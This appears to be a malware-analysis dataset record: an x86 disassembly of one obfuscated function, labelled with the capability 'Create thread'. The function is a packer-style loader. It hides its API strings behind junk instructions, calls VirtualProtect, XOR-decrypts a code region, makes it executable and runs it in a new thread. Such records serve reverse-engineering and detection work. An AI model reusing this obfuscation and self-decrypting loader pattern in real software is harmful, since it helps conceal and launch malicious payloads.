Function at 0x6326bc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
pushfd
xor ebx, 0x2fb31042
xor ebx, 0x2fb31042
popfd
call fcn.00632ab9
xchg ecx, ecx
lea eax, [ebp - 0xd8]
mov eax, eax
mov ebx, 0x61
pushfd
push 0xe91690e9
add esp, 4
popfd
mov ecx, ecx
add bx, 0xa
pushfd
push 0x1dfccbd1
add esp, 4
popfd
mov word [eax], bx
pushfd
inc edi
dec edi
popfd
nop
sub bx, 6
push edi
push eax
pop eax
pop edi
push edx
push ebx
pop ebx
pop edx
mov word [eax + 2], bx
mov ecx, ecx
push edx
pop edx
add bx, 0xd
pushfd
push esi
add esp, 4
popfd
xchg esi, esi
mov word [eax + 4], bx
mov edx, edx
xchg esi, esi
sub bx, 4
nop
mov esi, esi
mov word [eax + 6], bx
pushfd
inc eax
dec eax
popfd
sub bx, 9
push ecx
pop ecx
mov word [eax + 8], bx
pushfd
push 0x62a0a79e
add esp, 4
popfd
pushfd
push 0xadd2308c
add esp, 4
popfd
add bx, 7
pushfd
push 0x5b6f435e
add esp, 4
popfd
xchg ecx, ecx
mov word [eax + 0xa], bx
pushfd
inc edx
dec edx
popfd
mov edi, edi
sub bx, 0x39
pushfd
push edi
add esp, 4
popfd
mov word [eax + 0xc], bx
nop
pushfd
push edi
add esp, 4
popfd
dec bx
xchg ebx, eax
xchg ebx, eax
mov word [eax + 0xe], bx
pushfd
push edx
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
sub bx, 4
mov edx, edx
xchg ecx, ecx
mov word [eax + 0x10], bx
xchg esi, eax
xchg esi, eax
pushfd
xor ecx, 0x2eb7e8b1
xor ecx, 0x2eb7e8b1
popfd
add bx, 0x36
pushfd
xor ebx, 0xfbfed085
xor ebx, 0xfbfed085
popfd
xchg edx, edx
mov word [eax + 0x12], bx
push esi
pop esi
pushfd
inc edx
dec edx
popfd
add bx, 8
mov eax, eax
mov edx, edx
mov word [eax + 0x14], bx
pushfd
inc eax
dec eax
popfd
push ebx
pop ebx
mov word [eax + 0x16], bx
pushfd
inc edx
dec edx
popfd
push esi
pop esi
mov word [eax + 0x18], 0
pushfd
xor eax, 0xa1045baf
xor eax, 0xa1045baf
popfd
push eax
push ecx
pop ecx
pop eax
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
xchg edx, ecx
xchg ecx, edx
pushfd
inc edi
dec edi
popfd
mov dword [ebp - 0x10], eax
push ebx
push eax
pop eax
pop ebx
push edx
push ebx
pop ebx
pop edx
lea eax, [ebp - 0xd8]
xchg esi, eax
xchg esi, eax
mov ebx, 0x61
pushfd
push edx
add esp, 4
popfd
pushfd
inc ecx
dec ecx
popfd
sub bl, 0xb
pushfd
push esi
add esp, 4
popfd
xchg ebx, edi
xchg edi, ebx
mov byte [eax], bl
push edi
pop edi
push esi
push eax
pop eax
pop esi
add bl, 0x13
xchg edi, ecx
xchg ecx, edi
push ecx
pop ecx
mov byte [eax + 1], bl
pushfd
xor esi, 0xa981450f
xor esi, 0xa981450f
popfd
add bl, 9
pushfd
inc esi
dec esi
popfd
mov byte [eax + 2], bl
push esi
push ebx
pop ebx
pop esi
add bl, 2
push ecx
push eax
pop eax
pop ecx
pushfd
inc eax
dec eax
popfd
mov byte [eax + 3], bl
pushfd
inc ecx
dec ecx
popfd
mov edx, edx
inc bl
push ebx
push ecx
pop ecx
pop ebx
pushfd
inc esi
dec esi
popfd
mov byte [eax + 4], bl
push ebx
push edx
pop edx
pop ebx
pushfd
xor ecx, 0xe2069d69
xor ecx, 0xe2069d69
popfd
sub bl, 0x14
pushfd
push edi
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
mov byte [eax + 5], bl
push edi
pop edi
add bl, 0xb
pushfd
xor edx, 0xea3549e3
xor edx, 0xea3549e3
popfd
pushfd
xor esi, 0xf2c6af2
xor esi, 0xf2c6af2
popfd
mov byte [eax + 6], bl
push esi
pop esi
pushfd
inc ecx
dec ecx
popfd
sub bl, 0x1c
pushfd
push 0x1c70b3c0
add esp, 4
popfd
mov byte [eax + 7], bl
mov eax, eax
xchg ebx, ebx
add bl, 0x22
pushfd
inc ecx
dec ecx
popfd
mov byte [eax + 8], bl
mov edi, edi
mov eax, eax
sub bl, 3
pushfd
xor edx, 0xc9c5ed56
xor edx, 0xc9c5ed56
popfd
pushfd
push ecx
add esp, 4
popfd
mov byte [eax + 9], bl
xchg esi, esi
push edi
push ebx
pop ebx
pop edi
add bl, 5
xchg edx, edx
mov byte [eax + 0xa], bl
push ebx
pop ebx
sub bl, 0xf
mov ebx, ebx
mov byte [eax + 0xb], bl
push edi
push ebx
pop ebx
pop edi
sub bl, 2
xchg esi, esi
pushfd
xor ecx, 0x8d3e1ea3
xor ecx, 0x8d3e1ea3
popfd
mov byte [eax + 0xc], bl
pushfd
push 0x50602e62
add esp, 4
popfd
push eax
push esi
pop esi
pop eax
add bl, 0x11
xchg edx, esi
xchg esi, edx
pushfd
xor eax, 0x6d7f9113
xor eax, 0x6d7f9113
popfd
mov byte [eax + 0xd], bl
pushfd
inc ebx
dec ebx
popfd
mov byte [eax + 0xe], 0
push edx
push eax
pop eax
pop edx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
push ecx
add esp, 4
popfd
mov dword [ebp - 0xc], eax
pushfd
xor edi, 0xc301d13c
xor edi, 0xc301d13c
popfd
lea eax, [ebp - 8]
pushfd
xor eax, 0xdfac494d
xor eax, 0xdfac494d
popfd
pushfd
push edi
add esp, 4
popfd
push eax
push 4
push 0x176473
push entry0
call dword [ebp - 0xc]
pushfd
push 0xb86adc5
add esp, 4
popfd
mov edi, entry0
xchg ebx, edx
xchg edx, ebx
mov esi, 0x40100e
pushfd
push edx
add esp, 4
popfd
pushfd
xor ebx, 0xd6aa6f7
xor ebx, 0xd6aa6f7
popfd
mov ecx, 0x176473
xchg esi, eax
xchg esi, eax
mov edx, 0xacc8b9b5
pushfd
push 0xc1a55843
add esp, 4
popfd
mov ebx, 0xa50bf28d
pushfd
inc ecx
dec ecx
popfd
xchg ecx, esi
xchg esi, ecx
cld
xchg edx, edx
lodsb al, byte [esi]
mov edx, edx
xor al, dl
nop
stosb byte es:[edi], al
mov edx, edx
ror edx, 5
xchg esi, esi
imul edx, edx, 7
xchg esi, esi
test ebx, 1
mov eax, eax
je 0x632a44
xchg ebx, ebx
add esi, 1
xchg edi, edi
ror ebx, 1
mov ebx, ebx
dec ecx
mov ebx, ebx
test ecx, ecx
mov esi, esi
jne 0x632a1e
push eax
push esi
pop esi
pop eax
lea eax, [ebp - 8]
mov edi, edi
xchg ebx, ebx
push eax
push 0x20
push 0x176473
push entry0
call dword [ebp - 0xc]
pushfd
push eax
add esp, 4
popfd
push eax
pop eax
lea eax, [ebp - 4]
mov ebx, ebx
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov eax, eax
pushfd
inc ebx
dec ebx
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
pushfd
push ecx
add esp, 4
popfd
jmp 0x632a8f